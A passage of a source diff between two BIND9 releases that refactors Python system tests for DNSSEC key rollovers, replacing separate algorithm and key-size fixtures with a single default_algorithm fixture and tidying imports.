{DURATION['P60D']} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent zrrsig:omnipresent offset:{-DURATION['P10D']}", ], # Next key event is when the DS becomes HIDDEN. This # happens after the# parent propagation delay plus DS TTL. @@ -93,7 +88,7 @@ "going-insecure-dynamic.kasp", ], ) -def test_going_insecure_reconfig_step2(zone, alg, size, ns3): +def test_going_insecure_reconfig_step2(zone, ns3, default_algorithm): config = DEFAULT_CONFIG policy = "insecure" zone = f"step2.{zone}" @@ -107,8 +102,8 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"ksk 0 {alg} {size} goal:hidden dnskey:unretentive krrsig:unretentive ds:hidden offset:{-DURATION['P10D']}", - f"zsk {DURATION['P60D']} {alg} {size} goal:hidden dnskey:unretentive zrrsig:unretentive offset:{-DURATION['P10D']}", + f"ksk 0 {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:unretentive krrsig:unretentive ds:hidden offset:{-DURATION['P10D']}", + f"zsk {DURATION['P60D']} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:unretentive zrrsig:unretentive offset:{-DURATION['P10D']}", ], # Next key event is when the DNSKEY becomes HIDDEN. # This happens after the propagation delay, plus DNSKEY TTL. diff -Nru bind9-9.20.18/bin/tests/system/rollover-ksk-3crowd/tests_rollover_three_is_a_crowd.py bind9-9.20.21/bin/tests/system/rollover-ksk-3crowd/tests_rollover_three_is_a_crowd.py --- bind9-9.20.18/bin/tests/system/rollover-ksk-3crowd/tests_rollover_three_is_a_crowd.py 2026-01-09 13:39:28.163974343 +0000 +++ bind9-9.20.21/bin/tests/system/rollover-ksk-3crowd/tests_rollover_three_is_a_crowd.py 2026-03-13 22:01:10.706877187 +0000 @@ -9,27 +9,21 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# pylint: disable=redefined-outer-name,unused-import - from datetime import timedelta -import isctest from isctest.kasp import KeyTimingMetadata from rollover.common import ( - pytestmark, - alg, - size, KSK_CONFIG, - KSK_LIFETIME_POLICY, KSK_IPUB, KSK_IRET, + KSK_LIFETIME_POLICY, + ROLLOVER_MARK, ) -from rollover.setup import ( - configure_root, - configure_tld, - configure_ksk_3crowd, -) +from rollover.setup import configure_ksk_3crowd, configure_root, configure_tld + +import isctest +pytestmark = ROLLOVER_MARK CDSS = ["CDS (SHA-256)"] POLICY = "ksk-doubleksk-autosign" @@ -55,7 +49,7 @@ return data -def test_rollover_ksk_three_is_a_crowd(alg, size, ns3): +def test_rollover_ksk_three_is_a_crowd(ns3, default_algorithm): """Test #2375: Scheduled rollovers are happening faster than they can finish.""" zone = "three-is-a-crowd.kasp" @@ -65,9 +59,9 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"ksk {KSK_LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:omnipresent krrsig:omnipresent ds:unretentive offset:{OFFSET1}", - f"ksk {KSK_LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:rumoured offset:{OFFSET2}", - f"zsk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSET1}", + f"ksk {KSK_LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent krrsig:omnipresent ds:unretentive offset:{OFFSET1}", + f"ksk {KSK_LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:rumoured offset:{OFFSET2}", + f"zsk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSET1}", ], "keyrelationships": [0, 1], } @@ -88,10 +82,10 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"ksk {KSK_LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:omnipresent krrsig:omnipresent ds:unretentive offset:{OFFSET1}", - f"ksk {KSK_LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:omnipresent krrsig:omnipresent ds:rumoured offset:{OFFSET2}", - f"ksk {KSK_LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:rumoured krrsig:rumoured ds:hidden offset:0", - f"zsk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSET1}", + f"ksk {KSK_LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent krrsig:omnipresent ds:unretentive offset:{OFFSET1}", + f"ksk {KSK_LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent krrsig:omnipresent ds:rumoured offset:{OFFSET2}", + f"ksk {KSK_LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured krrsig:rumoured ds:hidden offset:0", + f"zsk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSET1}", ], "check-keytimes": False, # checked manually with modified values } diff -Nru bind9-9.20.18/bin/tests/system/rollover-ksk-doubleksk/tests_rollover_ksk_doubleksk.py bind9-9.20.21/bin/tests/system/rollover-ksk-doubleksk/tests_rollover_ksk_doubleksk.py --- bind9-9.20.18/bin/tests/system/rollover-ksk-doubleksk/tests_rollover_ksk_doubleksk.py 2026-01-09 13:39:28.164974369 +0000 +++ bind9-9.20.21/bin/tests/system/rollover-ksk-doubleksk/tests_rollover_ksk_doubleksk.py 2026-03-13 22:01:10.707877155 +0000 @@ -9,32 +9,27 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# pylint: disable=redefined-outer-name,unused-import - from datetime import timedelta import pytest -import isctest from isctest.util import param from rollover.common import ( - pytestmark, - alg, - size, KSK_CONFIG, - KSK_LIFETIME, - KSK_LIFETIME_POLICY, KSK_IPUB, KSK_IPUBC, KSK_IRET, KSK_KEYTTLPROP, + KSK_LIFETIME, + KSK_LIFETIME_POLICY, + ROLLOVER_MARK, TIMEDELTA, ) -from rollover.setup import ( - configure_root, - configure_tld, - configure_ksk_doubleksk, -) +from rollover.setup import configure_ksk_doubleksk, configure_root, configure_tld + +import isctest + +pytestmark = ROLLOVER_MARK CDSS = ["CDS (SHA-256)"] POLICY = "ksk-doubleksk" @@ -83,7 +78,7 @@ param("manual"), ], ) -def test_ksk_doubleksk_step1(tld, alg, size, ns3): +def test_ksk_doubleksk_step1(tld, ns3, default_algorithm): zone = f"step1.ksk-doubleksk.{tld}" policy = f"{POLICY}-{tld}" @@ -97,8 +92,8 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"zsk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step1-p']}", - f"ksk {KSK_LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step1-p']}", + f"zsk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step1-p']}", + f"ksk {KSK_LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step1-p']}", ], # Next key event is when the successor KSK needs to be published. # That is the KSK lifetime - prepublication time (minus time @@ -115,7 +110,7 @@ param("manual"), ], ) -def test_ksk_doubleksk_step2(tld, alg, size, ns3): +def test_ksk_doubleksk_step2(tld, ns3, default_algorithm): zone = f"step2.ksk-doubleksk.{tld}" policy = f"{POLICY}-{tld}" @@ -127,8 +122,8 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"zsk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step2-p']}", - f"ksk {KSK_LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step2-p']}", + f"zsk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step2-p']}", + f"ksk {KSK_LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step2-p']}", ], "manual-mode": True, "nextev": None, @@ -156,9 +151,9 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"zsk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step2-p']}", - f"ksk {KSK_LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step2-p']}", - f"ksk {KSK_LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:rumoured krrsig:rumoured ds:hidden offset:{OFFSETS['step2-s']}", + f"zsk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step2-p']}", + f"ksk {KSK_LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step2-p']}", + f"ksk {KSK_LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured krrsig:rumoured ds:hidden offset:{OFFSETS['step2-s']}", ], "keyrelationships": [1, 2], # Next key event is when the successor KSK becomes OMNIPRESENT. @@ -174,7 +169,7 @@ param("manual"), ], ) -def test_ksk_doubleksk_step3(tld, alg, size, ns3): +def test_ksk_doubleksk_step3(tld, ns3, default_algorithm): zone = f"step3.ksk-doubleksk.{tld}" policy = f"{POLICY}-{tld}" @@ -186,9 +181,9 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"zsk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step3-p']}", - f"ksk {KSK_LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step3-p']}", - f"ksk {KSK_LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:hidden offset:{OFFSETS['step3-s']}", + f"zsk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step3-p']}", + f"ksk {KSK_LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step3-p']}", + f"ksk {KSK_LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:hidden offset:{OFFSETS['step3-s']}", ], "keyrelationships": [1, 2], "manual-mode": True, @@ -233,9 +228,9 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"zsk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step3-p']}", - f"ksk {KSK_LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:omnipresent krrsig:omnipresent ds:unretentive offset:{OFFSETS['step3-p']}", - f"ksk {KSK_LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:rumoured offset:{OFFSETS['step3-s']}", + f"zsk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step3-p']}", + f"ksk {KSK_LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent krrsig:omnipresent ds:unretentive offset:{OFFSETS['step3-p']}", + f"ksk {KSK_LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:rumoured offset:{OFFSETS['step3-s']}", ], "keyrelationships": [1, 2], # Next key event is when the predecessor DS has been replaced with @@ -254,7 +249,7 @@ param("manual"), ], ) -def test_ksk_doubleksk_step4(tld, alg, size, ns3): +def test_ksk_doubleksk_step4(tld, ns3, default_algorithm): zone = f"step4.ksk-doubleksk.{tld}" policy = f"{POLICY}-{tld}" @@ -266,9 +261,9 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"zsk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step4-p']}", - f"ksk {KSK_LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:omnipresent krrsig:omnipresent ds:hidden offset:{OFFSETS['step4-p']}", - f"ksk {KSK_LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step4-s']}", + f"zsk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step4-p']}", + f"ksk {KSK_LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent krrsig:omnipresent ds:hidden offset:{OFFSETS['step4-p']}", + f"ksk {KSK_LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step4-s']}", ], "keyrelationships": [1, 2], "manual-mode": True, @@ -301,9 +296,9 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"zsk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step4-p']}", - f"ksk {KSK_LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:unretentive krrsig:unretentive ds:hidden offset:{OFFSETS['step4-p']}", - f"ksk {KSK_LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step4-s']}", + f"zsk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step4-p']}", + f"ksk {KSK_LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:unretentive krrsig:unretentive ds:hidden offset:{OFFSETS['step4-p']}", + f"ksk {KSK_LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step4-s']}", ], "keyrelationships": [1, 2], # Next key event is when the DNSKEY enters the HIDDEN state. @@ -320,7 +315,7 @@ param("manual"), ], ) -def test_ksk_doubleksk_step5(tld, alg, size, ns3): +def test_ksk_doubleksk_step5(tld, ns3, default_algorithm): zone = f"step5.ksk-doubleksk.{tld}" policy = f"{POLICY}-{tld}" @@ -336,9 +331,9 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"zsk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step5-p']}", - f"ksk {KSK_LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:hidden krrsig:hidden ds:hidden offset:{OFFSETS['step5-p']}", - f"ksk {KSK_LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step5-s']}", + f"zsk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step5-p']}", + f"ksk {KSK_LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:hidden krrsig:hidden ds:hidden offset:{OFFSETS['step5-p']}", + f"ksk {KSK_LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step5-s']}", ], "keyrelationships": [1, 2], # Next key event is when the new successor needs to be published. @@ -355,7 +350,7 @@ param("manual"), ], ) -def test_ksk_doubleksk_step6(tld, alg, size, ns3): +def test_ksk_doubleksk_step6(tld, ns3, default_algorithm): zone = f"step6.ksk-doubleksk.{tld}" policy = f"{POLICY}-{tld}" @@ -368,8 +363,8 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"zsk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step6-p']}", - f"ksk {KSK_LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step6-s']}", + f"zsk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step6-p']}", + f"ksk {KSK_LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step6-s']}", ], "nextev": None, } diff -Nru bind9-9.20.18/bin/tests/system/rollover-lifetime/tests_rollover_lifetime_initial.py bind9-9.20.21/bin/tests/system/rollover-lifetime/tests_rollover_lifetime_initial.py --- bind9-9.20.18/bin/tests/system/rollover-lifetime/tests_rollover_lifetime_initial.py 2026-01-09 13:39:28.164974369 +0000 +++ bind9-9.20.21/bin/tests/system/rollover-lifetime/tests_rollover_lifetime_initial.py 2026-03-13 22:01:10.707877155 +0000 @@ -9,20 +9,14 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# pylint: disable=redefined-outer-name,unused-import - import pytest -import isctest from isctest.util import param -from rollover.common import ( - pytestmark, - alg, - size, - CDSS, - DEFAULT_CONFIG, - DURATION, -) +from rollover.common import CDSS, DEFAULT_CONFIG, DURATION, ROLLOVER_MARK + +import isctest + +pytestmark = ROLLOVER_MARK @pytest.mark.parametrize( @@ -34,7 +28,7 @@ param("unlimit-lifetime", "short-lifetime", "P6M"), ], ) -def test_lifetime_initial(zone, policy, lifetime, alg, size, ns3): +def test_lifetime_initial(zone, policy, lifetime, ns3, default_algorithm): config = DEFAULT_CONFIG isctest.kasp.wait_keymgr_done(ns3, f"{zone}.kasp") @@ -43,7 +37,7 @@ "zone": f"{zone}.kasp", "cdss": CDSS, "keyprops": [ - f"csk {DURATION[lifetime]} {alg} {size} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk {DURATION[lifetime]} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], "nextev": None, } diff -Nru bind9-9.20.18/bin/tests/system/rollover-lifetime/tests_rollover_lifetime_reconfig.py bind9-9.20.21/bin/tests/system/rollover-lifetime/tests_rollover_lifetime_reconfig.py --- bind9-9.20.18/bin/tests/system/rollover-lifetime/tests_rollover_lifetime_reconfig.py 2026-01-09 13:39:28.164974369 +0000 +++ bind9-9.20.21/bin/tests/system/rollover-lifetime/tests_rollover_lifetime_reconfig.py 2026-03-13 22:01:10.708877123 +0000 @@ -9,20 +9,14 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# pylint: disable=redefined-outer-name,unused-import - import pytest -import isctest from isctest.util import param -from rollover.common import ( - pytestmark, - alg, - size, - CDSS, - DEFAULT_CONFIG, - DURATION, -) +from rollover.common import CDSS, DEFAULT_CONFIG, DURATION, ROLLOVER_MARK + +import isctest + +pytestmark = ROLLOVER_MARK @pytest.fixture(scope="module", autouse=True) @@ -49,7 +43,7 @@ param("unlimit-lifetime", "unlimited-lifetime", 0), ], ) -def test_lifetime_reconfig(zone, policy, lifetime, alg, size, ns3): +def test_lifetime_reconfig(zone, policy, lifetime, ns3, default_algorithm): config = DEFAULT_CONFIG isctest.kasp.wait_keymgr_done(ns3, f"{zone}.kasp", reconfig=True) @@ -58,7 +52,7 @@ "zone": f"{zone}.kasp", "cdss": CDSS, "keyprops": [ - f"csk {DURATION[lifetime]} {alg} {size} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk {DURATION[lifetime]} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], "nextev": None, } diff -Nru bind9-9.20.18/bin/tests/system/rollover-multisigner/tests_rollover_multisigner.py bind9-9.20.21/bin/tests/system/rollover-multisigner/tests_rollover_multisigner.py --- bind9-9.20.18/bin/tests/system/rollover-multisigner/tests_rollover_multisigner.py 2026-01-09 13:39:28.165974395 +0000 +++ bind9-9.20.21/bin/tests/system/rollover-multisigner/tests_rollover_multisigner.py 2026-03-13 22:01:10.708877123 +0000 @@ -9,26 +9,21 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# pylint: disable=redefined-outer-name,unused-import - from datetime import timedelta -import os -import pytest +import os -pytest.importorskip("dns", minversion="2.0.0") import dns.update -import isctest from isctest.kasp import Iret from isctest.run import EnvCmd -from rollover.common import ( - pytestmark, - alg, - size, -) +from rollover.common import ROLLOVER_MARK from rollover.setup import fake_lifetime, render_and_sign_zone +import isctest + +pytestmark = ROLLOVER_MARK + def bootstrap(): templates = isctest.template.TemplateEngine(".") @@ -93,7 +88,7 @@ return {} -def test_rollover_multisigner(ns3, alg, size): +def test_rollover_multisigner(ns3, default_algorithm): policy = "multisigner-model2" config = { "dnskey-ttl": timedelta(hours=1), @@ -115,7 +110,7 @@ keygen_command = [ os.environ.get("KEYGEN"), "-a", - alg, + default_algorithm.name, "-L", "3600", "-M", @@ -132,15 +127,17 @@ isctest.kasp.check_dnssec_verify(ns3, zone) key_properties = [ - f"ksk unlimited {alg} {size} goal:omnipresent dnskey:rumoured krrsig:rumoured ds:hidden tag-range:32768-65535", - f"zsk unlimited {alg} {size} goal:omnipresent dnskey:rumoured zrrsig:rumoured tag-range:32768-65535", + f"ksk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured krrsig:rumoured ds:hidden tag-range:32768-65535", + f"zsk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured zrrsig:rumoured tag-range:32768-65535", ] expected = isctest.kasp.policy_to_properties(ttl, key_properties) - newprops = [f"zsk unlimited {alg} {size} tag-range:0-32767"] + newprops = [ + f"zsk unlimited {default_algorithm.number} {default_algorithm.bits} tag-range:0-32767" + ] expected2 = isctest.kasp.policy_to_properties(ttl, newprops) - expected2[0].private = False # noqa - expected2[0].legacy = True # noqa + expected2[0].private = False + expected2[0].legacy = True expected = expected + expected2 ownkeys = isctest.kasp.keydir_to_keylist(zone, ns3.identifier) @@ -161,10 +158,12 @@ # Update zone with ZSK from another provider for zone. out = keygen(zone) newkeys = isctest.kasp.keystr_to_keylist(out) - newprops = [f"zsk unlimited {alg} {size} tag-range:0-32767"] + newprops = [ + f"zsk unlimited {default_algorithm.number} {default_algorithm.bits} tag-range:0-32767" + ] expected2 = isctest.kasp.policy_to_properties(ttl, newprops) - expected2[0].private = False # noqa - expected2[0].legacy = True # noqa + expected2[0].private = False + expected2[0].legacy = True expected = expected + expected2 dnskey = newkeys[0].dnskey @@ -208,10 +207,10 @@ isctest.kasp.check_dnssec_verify(ns3, zone) key_properties = [ - f"ksk unlimited {alg} {size} goal:omnipresent dnskey:rumoured krrsig:rumoured ds:hidden tag-range:32768-65535", - f"zsk unlimited {alg} {size} goal:omnipresent dnskey:rumoured zrrsig:hidden tag-range:32768-65535", - f"ksk unlimited {alg} {size} goal:hidden dnskey:omnipresent krrsig:omnipresent ds:omnipresent tag-range:0-32767 offset:{offval}", - f"zsk unlimited {alg} {size} goal:hidden dnskey:omnipresent zrrsig:omnipresent tag-range:0-32767 offset:{offval}", + f"ksk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured krrsig:rumoured ds:hidden tag-range:32768-65535", + f"zsk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured zrrsig:hidden tag-range:32768-65535", + f"ksk unlimited {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent krrsig:omnipresent ds:omnipresent tag-range:0-32767 offset:{offval}", + f"zsk unlimited {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent zrrsig:omnipresent tag-range:0-32767 offset:{offval}", ] expected = isctest.kasp.policy_to_properties(ttl, key_properties) keys = isctest.kasp.keydir_to_keylist(zone, ns3.identifier) diff -Nru bind9-9.20.18/bin/tests/system/rollover-straight2none/tests_rollover_straight2none_initial.py bind9-9.20.21/bin/tests/system/rollover-straight2none/tests_rollover_straight2none_initial.py --- bind9-9.20.18/bin/tests/system/rollover-straight2none/tests_rollover_straight2none_initial.py 2026-01-09 13:39:28.165974395 +0000 +++ bind9-9.20.21/bin/tests/system/rollover-straight2none/tests_rollover_straight2none_initial.py 2026-03-13 22:01:10.708877123 +0000 @@ -9,24 +9,14 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# pylint: disable=redefined-outer-name,unused-import - import pytest +from rollover.common import CDSS, DEFAULT_CONFIG, DURATION, ROLLOVER_MARK +from rollover.setup import configure_root, configure_straight2none, configure_tld + import isctest -from rollover.common import ( - pytestmark, - alg, - size, - CDSS, - DURATION, - DEFAULT_CONFIG, -) -from rollover.setup import ( - configure_root, - configure_tld, - configure_straight2none, -) + +pytestmark = ROLLOVER_MARK def bootstrap(): @@ -53,7 +43,7 @@ "going-straight-to-none-dynamic.kasp", ], ) -def test_straight2none_initial(zone, ns3, alg, size): +def test_straight2none_initial(zone, ns3, default_algorithm): config = DEFAULT_CONFIG policy = "default" @@ -63,7 +53,7 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"csk 0 {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{-DURATION['P10D']}", + f"csk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{-DURATION['P10D']}", ], "nextev": None, } diff -Nru bind9-9.20.18/bin/tests/system/rollover-straight2none/tests_rollover_straight2none_reconfig.py bind9-9.20.21/bin/tests/system/rollover-straight2none/tests_rollover_straight2none_reconfig.py --- bind9-9.20.18/bin/tests/system/rollover-straight2none/tests_rollover_straight2none_reconfig.py 2026-01-09 13:39:28.165974395 +0000 +++ bind9-9.20.21/bin/tests/system/rollover-straight2none/tests_rollover_straight2none_reconfig.py 2026-03-13 22:01:10.708877123 +0000 @@ -9,24 +9,14 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# pylint: disable=redefined-outer-name,unused-import - import pytest +from rollover.common import CDSS, DEFAULT_CONFIG, DURATION, ROLLOVER_MARK +from rollover.setup import configure_root, configure_straight2none, configure_tld + import isctest -from rollover.common import ( - pytestmark, - alg, - size, - CDSS, - DURATION, - DEFAULT_CONFIG, -) -from rollover.setup import ( - configure_root, - configure_tld, - configure_straight2none, -) + +pytestmark = ROLLOVER_MARK def bootstrap(): @@ -62,7 +52,7 @@ "going-straight-to-none-dynamic.kasp", ], ) -def test_straight2none_reconfig(zone, ns3, alg, size): +def test_straight2none_reconfig(zone, ns3, default_algorithm): config = DEFAULT_CONFIG policy = None @@ -72,7 +62,7 @@ # These zones will go bogus after signatures expire, but # remain validly signed for now. "keyprops": [ - f"csk 0 {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{-DURATION['P10D']}", + f"csk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{-DURATION['P10D']}", ], "nextev": None, } diff -Nru bind9-9.20.18/bin/tests/system/rollover-zsk-prepub/tests_rollover_zsk_prepublication.py bind9-9.20.21/bin/tests/system/rollover-zsk-prepub/tests_rollover_zsk_prepublication.py --- bind9-9.20.18/bin/tests/system/rollover-zsk-prepub/tests_rollover_zsk_prepublication.py 2026-01-09 13:39:28.165974395 +0000 +++ bind9-9.20.21/bin/tests/system/rollover-zsk-prepub/tests_rollover_zsk_prepublication.py 2026-03-13 22:01:10.709877091 +0000 @@ -9,26 +9,18 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# pylint: disable=redefined-outer-name,unused-import - from datetime import timedelta import pytest -import isctest from isctest.kasp import Ipub, Iret from isctest.util import param -from rollover.common import ( - pytestmark, - alg, - size, - TIMEDELTA, -) -from rollover.setup import ( - configure_root, - configure_tld, - configure_zsk_prepub, -) +from rollover.common import ROLLOVER_MARK, TIMEDELTA +from rollover.setup import configure_root, configure_tld, configure_zsk_prepub + +import isctest + +pytestmark = ROLLOVER_MARK CONFIG = { "dnskey-ttl": TIMEDELTA["PT1H"], @@ -93,7 +85,7 @@ param("manual"), ], ) -def test_zsk_prepub_step1(tld, alg, size, ns3): +def test_zsk_prepub_step1(tld, ns3, default_algorithm): zone = f"step1.zsk-prepub.{tld}" policy = f"{POLICY}-{tld}" @@ -106,8 +98,8 @@ # Introduce the first key. This will immediately be active. "zone": zone, "keyprops": [ - f"ksk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step1-p']}", - f"zsk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step1-p']}", + f"ksk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step1-p']}", + f"zsk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step1-p']}", ], # Next key event is when the successor ZSK needs to be 